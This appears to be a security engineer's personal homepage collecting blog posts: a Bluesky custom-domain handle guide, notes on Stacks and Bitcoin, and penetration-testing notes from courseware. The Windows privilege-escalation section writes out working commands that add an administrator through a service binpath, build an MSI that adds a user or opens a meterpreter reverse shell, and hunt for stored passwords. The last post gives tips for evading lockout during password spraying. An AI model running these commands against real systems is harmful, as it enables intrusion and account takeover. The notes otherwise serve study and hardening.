Distributed Identities, and a Decentralised Social Web.

Solar System Simulation

Numerical Methods in MATLAB

Howdy! Welcome to my homepage (is that too old-fashioned?).

I'm a security engineer with experience across most of the OSI stack. Recently I began dipping my toes into the world of Rust development. I'm passionate about computing and have a hobby of exploring esoteric and fringe systems and programs.

Blog Posts

᚛ᚄᚈᚏᚓᚐᚋᚔᚅᚌ ᚈᚓᚏᚐᚁᚔᚈᚄ ᚑᚃ ᚏᚓᚐᚂᚈᚔᚋᚓ ᚇᚐᚈᚐ ᚈᚑ ᚈᚓᚅ ᚇᚔᚃᚃᚓᚏᚓᚅᚈ ᚌᚐᚏᚐᚌᚓᚄ ᚔᚄ ᚆᚐᚏᚇ᚜

So you wanna use your domain name as your bluesky handle?


Hey! You don't have to do this anymore. There's a handy dandy flow available in the in-app settings.

If successful, you will immediately give up control of your current * handle, which may then be available for registration by other people.


  • Bluesky account
  • A domain name you purchased through a registrar
  • (In the future, alternatively): XRPC server

Before You Proceed

This is an unsupported, bleeding-edge feature.

Please only proceed if you feel comfortable with bugs, account access issues, lost data, temporal shifts, and potential space invasion. I do not work for Bluesky PBLLC and this is not legal advice. Actions often have consequences.

Seriously. You'll be able to do this through the app in like a week.

You Must Determine Your True Name, Eragon

Since the @-protocol allows you to change your handle, your account is identified by a DID document, and in turn by its hash To find out what that is, you can send an HTTP request to the handle update() method.

Here's a few ways to do that:

Using Postman:

- Params:
	- Key: handle
	- Value: your.current.handle
- Authorization: None
- Body: None

Using cURL


Using httpie

http get \

If you get a response of "did:fake:donotuse", then something went wrong. If it looks like gibberish, you're in business.

Domain Name Server Settings

You need to add a TXT record to your domain.

  • Subdomain: _atproto
  • Value: did=did:plc:<your-did-hash-here>
  • TTL: Default or 3600

Mine looks like this:

dns configuration screenshot

Authenticate with PDS

Using Postman:

- Params:
	- Key: handle
	- Value: your.current.handle
- Authorization: None
- Body:

    "identifier": "your.current.handle",
    "password": "password"

We need the accessJwt token from the reponse. Be careful to not copy any quotes or whitespace.

Paste the token into Authorization > Type: Bearer Token.

Using cURL

Using httpie

http post identifier=your.current.handle password=<your-password>

Request Handle Rotation


- Authorization: Bearer Token = <accessJwt>
- Params: None
- Body:
	- Encoding: application/json (click the dropdown menu)

    "handle": "your.domain.handle",

Using cURL:

Using httpie:

http post Authorization:"Bearer <accessJwt>"

If you don't get an error, then it probably worked.

You can confirm that your request was successful if your new handle shows up in the DID:PLC server operation logs (

You can relog into Bluesky now. If you are using the beta iOS app, you will have to log in using your email address for the time being.

᚛ᚄᚈᚏᚓᚐᚋᚓ ᚇᚐᚈᚐ ᚈᚏᚓᚅᚋᚇ᚜



Great scientists tolerate ambiguity very well. They believe the theory enough to go
ahead; they doubt it enough to notice the errors and faults so they can step forward and
create the new replacement theory. If you believe too much you’ll never notice the flaws;
if you doubt too much you won’t get started. It requires a lovely balance.”

᚛ᚄᚈᚏᚓᚐᚋᚔᚅᚌ ᚈᚓᚏᚐᚁᚔᚈᚄ ᚑᚃ ᚏᚓᚐᚂᚈᚔᚋᚓ ᚇᚐᚈᚐ ᚈᚑ ᚈᚓᚅ ᚇᚔᚃᚃᚓᚏᚓᚅᚈ ᚌᚐᚏᚐᚌᚓᚄ ᚔᚄ ᚆᚐᚏᚇ᚜

Bitcoin Smart Contracts


This is a look into Stacks, as a potential smart contract platform which uses the Bitcoin blockchain as a foundation.

Stacks is the brainchild of [[Muneeb Ali]]. The earliest research I have found is in Dr. Ali's thesis: "Trust-to-Trust Design of a New Internet". (which to be fair is a badass title)

Ali's chainet aims to give the end user explicit control over trust decisions and move trust from the core of the network to the edge by removing "trust points" from the middle of the network.

To overcome the current space/time/energy constraints of the Bitcoin blockchain, Ali offers "virtualchains". A virtual blockchain which can be assembled using data from an underlying blockchain.

This enables an interesting hybrid of consensus mechanisms. Since the security of the underlying blockchain remains intact, "history" is secured by PoW. The virtualchain on top can use it's own, independent consensus mechanism.

Further, the doctor presents a "novel Sybil-protection mechanism" for blockchains. Could be PoX?

Surely other folks have tried this? TODO: Research


  • Service Naming and Discovery -[[ Zooko's Triangle]]
  • Data Storage

Design Considerations:

  • Separation of the Control and Data Plane
    • Control: Name Registration
    • Data: User/[[Service Discovery]] and Availability
  • Agnostic to the Underlying Blockchain
    • Allows migration crosschain
    • Used to deliver totally-ordered operations
  • Flexibility to Construct Arbitrary State Machines
    • Futureproof

Blockstacks Overview

![[Pasted image 20230320193632.png]]

  • [[Blockchain]]
    • Stores and orders operations by [[consensus]]
  • [[Virtualchain]]
    • Layer 2
    • General [[State Machines]] -TRUST BORDER-
  • Discovery
    • This layer is not trusted by the user, who must perform data integrity checks
    • Defines "zone files" which store routing information for locating data bytes
      • Uses DNS file formatting
      • Blockstack defines the [[Atlas network]] for storing zone files
      • A zone file can only be written, if hash(zonefile) was previously announced in the blockchain
        • A data
  • Storage
    • Retrieved data is verified using a declared data key.

How is a Zone File Hash calculated? How is a Zone File retrieved?

Potential DOS: A significant proportion of the BTC blockchain must be stored to fully verify the discovery layer.

So it takes two bitcoin blocks to declare a name?

URI - This is the point at which a protocol like [[atproto]] could interconnect

Quick detour to [[Namecoin]]

Registering a name takes two steps

First, the user announces the intention to register a domain by including hash(name) in a pre-order transaction

At a later time, a second transaction completes the register step

A registration expires after 36,000 blocks

[[Blockchain Name System]]


  • Pre-order
  • Register
  • Update
  • Transfer
  • Revoke

BNS Namespace == DNS TLD

  • The cost and renewal rate of names are defined by the [[namespace]] pricing functions
  • Each namespace in BNS gets its own [[blockchain]].

A [[consensus hash]] can be calculated at any blockchain blockheight n:

Consensus Hash (n) = Hash (Vn + Pn)


  • Vn = block n's sequence of virtualchain operations
  • Pn = Merkle root of prior consensus hashes
    • => { CH(p)|p = n - 2^i }
      • i is a Natural Number
      • n-2^i >= n0

A trusted [[Consensus Hash]] allows for Simplified Name Verification - a way to resolve a name in log time.

Virtual Chain

Layer 2 Challenges

  • Failure
    • If bitcoin falls we're all fucked anyway
  • Fork
    • Fork-consistent [[replicated state machines]]

Block N: Candidates send PoX to TREASURER (Virtual chain state: Need Sigs) (if leader rugs, their STX stake is used to return funds)

Block N+1: Leader locks multisig wallets which returns the coins Block N+2: New leader elected deterministically

Candidates send PoX to the Treasurer to become President A candidate is deterministically elected President

The President publishes multisig locked BTC (president can be harshly punished)

The President can declare transactions The secretary can sign them anyone can broadcast

President & Treasurer generate and broadcast the address of the next election Candidates pre-announce PoX intentions President signs de-pegging transaction Candidates peg into the address Treasurer co-signs the PoX transactions which actually happened

Dishonest candidates have their BTC burned/taken Dishonest presidents cannot unpeg their BTC Dishonest treasurers shouldn't exist?

This also moves the leader from one person to n people Also indirectly ensures that the system cannot "borrow" pegs across "sessions"

address is generated address is broadcast FC peg into the address CP broadcasts an unpeg transaction CT signs the unpeg transaction (block complete)

FP is duly elected If honest CP becomes FT if dishonest PoX is lost (Treasurer refuses to sign)

FP and FT

Follow on research

᚛ᚃ ᚏᚓᚐᚂᚈᚔᚋᚓ ᚇᚐᚈᚐ ᚈᚏᚓᚅᚈ ᚌᚐᚏᚐᚌᚓᚄ ᚆᚐ᚜

Bitcoin as Thin Waist for the Blocknet


Many things drove the success of the internet. From a socio-techno perspective, perhaps the largest driver was the Internet Protocol as a "thin waist" for the TCP/IP stack as a whole.

By centralising around a single mid-stack protocol, software above and below were able to target a single platform, knowing that inter-compatibility was guaranteed.

While there are risks associated with putting all of our eggs in a single basket (all attackers will be focused on a single target), should the nascent protocol survive this onslaught then it shall have been forged by fire.

Bitcoin is a decentralised digital currency that offers a secure, tamper-proof, and globally accessible means of storing and transferring value without the need for intermediaries or central authorities.

Just as text and files are foundational building blocks of Unix systems, so too can bitcoin form a foundational "value settlement" layer in a next generation internet stack.

᚛ᚄᚈᚏᚓᚐᚋᚔᚅᚌ ᚈᚓᚏᚐᚁᚔᚈᚄ ᚑᚃ ᚏᚓᚐᚂᚈᚔᚋᚓ ᚇᚐᚈᚐ ᚈᚑ ᚈᚓᚅ ᚇᚔᚃᚃᚓᚏᚓᚅᚈ ᚌᚐᚏᚐᚌᚓᚄ ᚔᚄ ᚆᚐᚏᚇ᚜

Privilege Escalation on Windows


Gather System Information

  • systeminfo
  • systeminfo | findstr /B /C:"OS NAME" /C:"OS Version" - check OS version
  • netstat -ano - check active network connections
  • netsh firewall show state - firewall settings
  • netsh firewall show config
  • schtasks /query /fo LIST /v - check scheduled tasks
  • tasklist /SVC - running processes linked to services
  • net start - running processes
  • DRIVERQUERY - installed drivers
  • wmic qfe get Caption,Description,HotFixID,InstalledOn
  • dir /s *password* - searches for files the contain 'password' in the filename.
  • findstr /si password *.txt - Searches for 'password' in .txt files.
  • icacls [Directory] - check what permissions we have in a directory.
    • icacls (Integrity Control Access Control Lists)
    • See also:

This vulnerability arises from the way Windows interprets a file path for Windows service binaries. File paths containing spaces should be double quoted to avoid file confusion.

To the best of my knowledge, there is no downside to quoting file paths so just always do it.

To exploit:

  1. A service with an "unquoted" binary path that includes space(s).
  2. Write permissions for the folder containing spaces.
  3. A way to reboot the system or service in order to execute the payload.

The following command can be run to list vulnerable service binaries which boot automatically at startup:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

Alternatively, we can query a service directly:

sc qc [service name]

Similar to unquoted service path vulnerability, we may be modify the binary service path of a service and point it to a payload.

To exploit:

  1. Need permissions to modify the service path for a given service.

A popular tool to check for these permissions is accesschk.exe.

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

Exploiting Service Binary path to add a new user and grant administrator rights:

sc config [service name] binpath= "net user admin password /add"
sc stop [service name]
sc start [service name]
sc config [service name] binpath= "net localgroup Administrators admin /add"
sc stop [service name]
sc start [service name]]

Available as a Metasploit module: exploit/windows/local/service_permissions.

AlwaysInstallElevated is a Windows setting that allows non-privileged users to install Microsoft Windows Installer Package Files (MSI) with elevated system permissions.

We can use this feature to execute a malicious MSI installer package with admin permissions.

To exploit:

We need two registry entries to have been set to 1:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

We can generate a payload with MSFVenom:

msfvenom -p windows/adduser USER=admin PASS=password -f msi -o filename.msi

Or alternatively, a reverse shell:

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=[LHOST IP] LPORT=443 -f msi -o filename.msi

To execute the payload:

msiexec /quiet /qn /i C:\Users\filename.msi
  • /quiet - bypasses UAC
  • /qn - do not use GUI
  • /i - Perform a regular installation

Available as a Metasploit module in exploit/windows/local/always_install_elevated.

This is a feature which allows Windows to be deployed without active intervention from an administrator.

When an administrator fails to clean up such an install, an XML file called "Unattend" is list on the local system. This file is a goldmine for attackers.

Unattend files are likely found in:

  • C:\Windows\Panther\
  • C:\Windows\Panther\Unattend\
  • C:\Windows\System32\
  • C:\Windows\System32\sysprep\

Common Filenames:

  • Unattend.xml
  • Unattended.xml
  • Unattend.txt
  • sysprep.xml
  • sysprep.inf

Note: Passwords in these files may be base64 encoded.

exploit/windows/local/bypassuac is a Metasploit Module that bypasses Uaser Access Control (UAC).

User Access Control (UAC) is a security feature on Windows that allows an administrator to have two separate access tokens; a standard user, and an admin access token.

When admin access is required the system prompts the user for approval to execute the program with the admin access token.

The Metasploit Module uses a trusted Windows Publisher Certificate to spawn a second shell with UAC turned off and will work on both x86 and x64 platforms.

  • Windows Exploit Suggester
    • Compares the output of systeminfo and compares the target's patch versions against the latest version of the Microsoft vulnerability database.
    • Note: The database this tool relies on went EOL in March 2017.
wmic qfe list full > hotfixes.txt
systeminfo > sysinfo.txt
python --database <current-date>.xls --systeminfo sysinfo.txt --hotfixes hotfixes.txt
  • Windows Privilege Escalation Awesome Script (WinPEAS)

    • winPEAS.exe - requires .NET framework 4.
    • winPEAS.bat - all other versions of Windows.
  • PowerSploit

  • PowerTools

  • CVE-2010-4398

  • MS16-016

  • MS16-014

  • MS16-032

  • CVE-2017-0213

  • CVE-2019-1253

  • CVE-2019-0836


᚛ᚄᚈᚏᚓᚐᚋᚔᚅᚌ ᚈᚓᚏᚐᚁᚔᚈᚄ ᚑᚃ ᚏᚓᚐᚂᚈᚔᚋᚓ ᚇᚐᚈᚐ ᚈᚑ ᚈᚓᚅ ᚇᚔᚃᚃᚓᚏᚓᚅᚈ ᚌᚐᚏᚐᚌᚓᚄ ᚔᚄ ᚆᚐᚏᚇ᚜

Privilege Escalation on Linux


First step when attempting to elevate permissions is gathering information. You should endevour to discover:

Distro type, Kernel version, etc

cat /etc/issue cat /proc/version hostname uname -a

Running applications and services

ps aux - Retrieves information about applications and services. ps aux | grep root to find processes running with root privileges. dpkg -l - Lists installed applications (Debian). rpm -qa - "" "" (Fedora). ls -ls /etc/ | grep .conf ls -ls /var/www/html/

  • Useful for analysis of CMS machines.

    • Joomla - configuration.php
    • Wordpress - wp-config.php
  • find /* -user root -perm -4000 -print 2>/dev/null

    • Finds all SUID programs on a system.
    • !important
Scheduled jobs
  • cron

TODO: Revise this

  • cat /etc/fstab - list unmounted file systems
  • World writable directories:
    • find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root
  • World writable directories for root:
    • find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root
  • World writable files:
    • find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null
  • World writable files in /etc/:
    • find /etc -perm -2 -type f 2>/dev/null
  • World writable directories:
    • find / -writable -type d 2>/dev/null
  • ifconfig -a
  • route - Shows the routing table.
  • netstat -antup - Lists active connections to the terminal.
  • arp -e - ARP table entries.
  • cat /etc/passwd
    • Note: an x in the password field means that the encrypted password is in /etc/shadow
  • who
  • w
  • id
uid=1000(jack) gid=1000(jack) groups=1000(jack),3(sys),90(network),98(power),108(vboxusers),991(lp),998(wheel)

Pay attention to the groups the user belongs to. The sudo group is particularly obviously useful.

  • sudo -l
Runas and Command-specific defaults for jack:
Defaults!/etc/ctdb/statd-callout !requiretty

User jack may run the following commands on theia:
    (ALL) ALL


  1. A vulnerable kernel
  2. A working exploit
  3. A way to transfer the exploit code to the target device
  4. A way to compile the target
  5. A way to execute the exploit

Generally, systems can be protected against the final three steps of [kernel exploitation](Exploiting the Linux Kernel).

  1. Prevent transferring the exploit

    • Disabling unnecessary tools and services that could be used to live off the land.
      • FTP, TFTP, SMB, SCP, wget, curl
    • Allowlisting access to these tools.
    • Create watchers to detect unauthorised usage.
  2. Remove compilation tools

    • Similarly, compilation tools such as gcc, cc, and other development tools may be removed, allowlisted, and monitored by a SOC.
  3. Prevent exploit execution

    • Limiting writable and executable directories on the system.
    • In particular, world-writable directories are concerning.
      • /tmp
      • /dev/shm
    • By creating separate partitions, we can mount directories such as /tmp and /home on a separated 'noexec' file system. Placing /home on a separate partition.
    • chmod 700 /path/to/file - restricts rwx permissions to the owner of the file.
    • Exploiting SUID permissions

LXD is an open-source container manager that provides features and functionality to build and manager Linux containers on Linux hosts.

LXD is built on top of LXC, extending it with a REST API that is accessible over a local UNIX socket (or network). All tasks are performed through API calls.

LXD may be vulnerable to PrivEsc. Access is based on group membership; if you are part of the lxd group it is possible to escalate to root. This includes the ability to attach any filesystem paths or devices to an instance

See also:

  • "Mounting the root filesystem in a container" VHL Courseware, pg 231.

Automated Scripts

  • Linux Privilege Escalation Awesome Script - LinPEAS
  • Linux Privilege Escalation Checker -
  • Unix PrivEsc Check - unix-privesc-check

Source: VHL-Penetration-Testing-Courseware-V1.pdf

Further reading:


Status: #🌻 Tags:

᚛ᚄᚈᚏᚓᚐᚋᚔᚌᚐᚏᚐᚌᚓᚄ ᚔᚄ ᚆᚐᚏᚇ᚜

Password Attack Mitigations


Login attempts should be limited to a rate which is reasonable for a normal human to achieve. Any more attempts than (for example) one attempt per second should raise suspicion.

Many systems implement automatic account lockouts after a certain number of failed login attempts (sometimes within a certain time frame). This can lead to the attackers IP being blocklisted.

When attempting to validate credentials, ideally find an API or VPN endpoint which validates credentials instantly and is not rate limited or otherwise monitored.

To avoid Rate Limiting and account lockout policies, another type of password attack is password spraying. Instead of throwing many passwords at one account, the attack sprays the most common passwords against a large number of accounts.

Although it is less targeted (a successfully compromised account may not have the access needed by the attacker), it may be enough of a foothold to progress further into the environment.

In order to properly tune a spray attack to avoid detection, an attacker needs an idea of the specific lockout policies in place on a given system.